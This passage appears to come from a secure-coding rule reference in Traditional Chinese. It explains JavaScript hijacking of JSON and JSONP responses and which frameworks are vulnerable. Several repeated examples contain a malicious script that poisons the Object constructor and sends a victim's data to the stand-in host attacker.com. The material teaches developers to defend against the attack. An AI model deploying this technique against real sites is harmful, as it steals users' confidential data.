(在此 HTTP 回應和之後的內容,我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


在此案例中,JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼,是無法存取這些資訊的。(在大部份的現代 Web 應用程式中,階段作業識別碼儲存在 cookie 中。)不過,如果一位受害者造訪了惡意的網站,此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁,則將會把受害者的重要資訊傳送到攻擊者的網站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之,系統將會處理此要求,就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時,將在惡意頁面的環境內接受評估。為了監視 JSON 的評估,惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式,惡意程式碼已插入陷阱,藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事,所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便,也可以保持安全,但兩者不可兼得。若使用者未登入易受攻擊的網站,攻擊者可能請求使用者登入,然後顯示應用程式的合法登入頁面,藉此進行彌補。

這並非網路釣魚攻擊,因為攻擊者並未取得使用者憑證的存取權,因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤,從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於,在此 mashup 情況中,涉及的其中一個應用程式是惡意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
使用 JavaScript 符號來傳送敏感資料的應用程式可能對 JavaScript 劫持的弱點,這允許未經授權的攻擊者從一個易受攻擊的應用程式中讀取機密資料。如果瀏覽器的 JavaScript 引擎允許陣列建構函式破壞,則 JavaScript 陣列可能會遭竊。
Explanation
在下列情況,應用程式可能很容易受到 JavaScript 劫持的攻擊:
1) 使用 JavaScript 物件做為資料傳輸格式
2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現,因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼,喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求,若要使用 JavaScript 存取網頁的內容,則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy),惡意網站可使用用戶端的憑證執行從其他網站載入敏感資訊的 JavaScript,從中挑選資訊,並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy),在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料,但是它仍然可以設定環境來利用此弱點,此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用,與傳統的 Web 應用程式不同,它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構:陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式,都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易,因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式,當應用程式需要傳輸多個值時一般會使用該形式。換句話說,JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊,這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1:以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動,此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意,本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時,若沒有使用新的運算子,其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料,並使用以下的程式碼來評估 JSON 結果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


當此程式碼執行時,將產生如下的 HTTP 要求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在此 HTTP 回應和之後的內容,我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


在此案例中,JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼,是無法存取這些資訊的。(在大部份的現代 Web 應用程式中,階段作業識別碼儲存在 cookie 中。)不過,如果一位受害者造訪了惡意的網站,此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁,則將會把受害者的重要資訊傳送到攻擊者的網站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之,系統將會處理此要求,就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時,將在惡意頁面的環境內接受評估。為了監視 JSON 的評估,惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式,惡意程式碼已插入陷阱,藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事,所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便,也可以保持安全,但兩者不可兼得。若使用者未登入易受攻擊的網站,攻擊者可能請求使用者登入,然後顯示應用程式的合法登入頁面,藉此進行彌補。

這並非網路釣魚攻擊,因為攻擊者並未取得使用者憑證的存取權,因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤,從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於,在此 mashup 情況中,涉及的其中一個應用程式是惡意的。

範例 2:以下程式碼顯示 Django 檢視方法範例,此方法以 JSON 陣列的形式傳送包含敏感資料的 JSON 回應。


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP 是一種不安全的通訊技術,只有在不會涉及任何個人或敏感資料且處理收回 (callback) 函數時才應該使用。
Explanation
JSONP 在設計上,會允許執行跨網域要求,但缺乏限制和驗證要求來源的任何機制。惡意網站可代表使用者輕易執行 JSONP 要求並處理 JSON 回應。基於這個原因,極力建議您在傳送 PII 或敏感資料時,避免使用此通訊技術。
JSONP 在設計上是一種自我強加 XSS 攻擊,因為收回 (callback) 函數名稱需要反映給要求網站,才能正確進行 JSON 處理。為了避免 JavaScript 注入,必須要驗證和處理收回 (callback) 函數。JSONP 在設計上是一種自我強加 XSS 攻擊,因為收回 (callback) 函數名稱需要反映給要求網站,才能正確進行 JSON 處理。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP 是一種不安全的通訊技術,僅應在不會涉及任何個人或敏感資料時使用。
Explanation
JSONP 在設計上,會允許執行跨網域要求,但缺乏限制和驗證要求來源的任何機制。 惡意網站可代表使用者輕易執行 JSONP 要求並處理 JSON 回應。 基於這個原因,極力建議您在傳送 PII 或敏感資料時,避免使用此通訊技術。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
執行 Microsoft AJAX.NET (Atlas) 的應用程式容易受到 JavaScript 劫持的攻擊,使未經授權的攻擊者讀取機密資料。
Explanation
Microsoft AJAX.NET (Atlas) 使用 JSON 在伺服器和用戶端之間傳輸資料。此框架產生包含使用 <script> 標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script> 標籤產生要求變得困難 (因為 <script> 標籤只會產生 GET 要求)。儘管如此,Microsoft AJAX.NET 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。

在下列情況下,應用程式可能很容易受到 JavaScript 劫持的攻擊:1) 使用 JavaScript 物件做為資料傳輸格式,2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現,因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼,喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求,若要使用 JavaScript 存取網頁的內容,則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy),惡意的網站可使用用戶端的憑證來執行 JavaScript,從其他網站載入敏感的資訊,從中挑選出資訊並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy),在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料,但是它仍然可以設定環境來利用此弱點,此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用,與傳統的 Web 應用程式不同,它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構:陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式,都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易,因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式,當應用程式需要傳輸多個值時一般會使用該形式。換句話說,JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊,這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1:以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動,此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意,本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時,若沒有使用新的運算子,其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料,並使用以下的程式碼來評估 JSON 結果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


當此程式碼執行時,將產生如下的 HTTP 要求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在此 HTTP 回應和之後的內容,我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


在此案例中,JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼,是無法存取這些資訊的。(在大部份的現代 Web 應用程式中,階段作業識別碼儲存在 cookie 中。)不過,如果一位受害者造訪了惡意的網站,此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁,則將會把受害者的重要資訊傳送到攻擊者的網站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之,系統將會處理此要求,就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時,將在惡意頁面的環境內接受評估。為了監視 JSON 的評估,惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式,惡意程式碼已插入陷阱,藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事,所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便,也可以保持安全,但兩者不可兼得。若使用者未登入易受攻擊的網站,攻擊者可能請求使用者登入,然後顯示應用程式的合法登入頁面,藉此進行彌補。

這並非網路釣魚攻擊,因為攻擊者並未取得使用者憑證的存取權,因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤,從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於,在此 mashup 情況中,涉及的其中一個應用程式是惡意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
使用 Google Web Toolkit (GTW) Ajax 框架的應用程式極易受到 JavaScript 劫持的攻擊,這將使未經授權的攻擊者能夠讀取機密資料。
Explanation
GWT 使用 JSON 在伺服器與用戶端間傳輸資料。此框架產生包含使用 <script> 標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script> 標籤產生要求變得困難 (因為 <script> 標籤只會產生 GET 要求)。儘管如此,GWT 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。

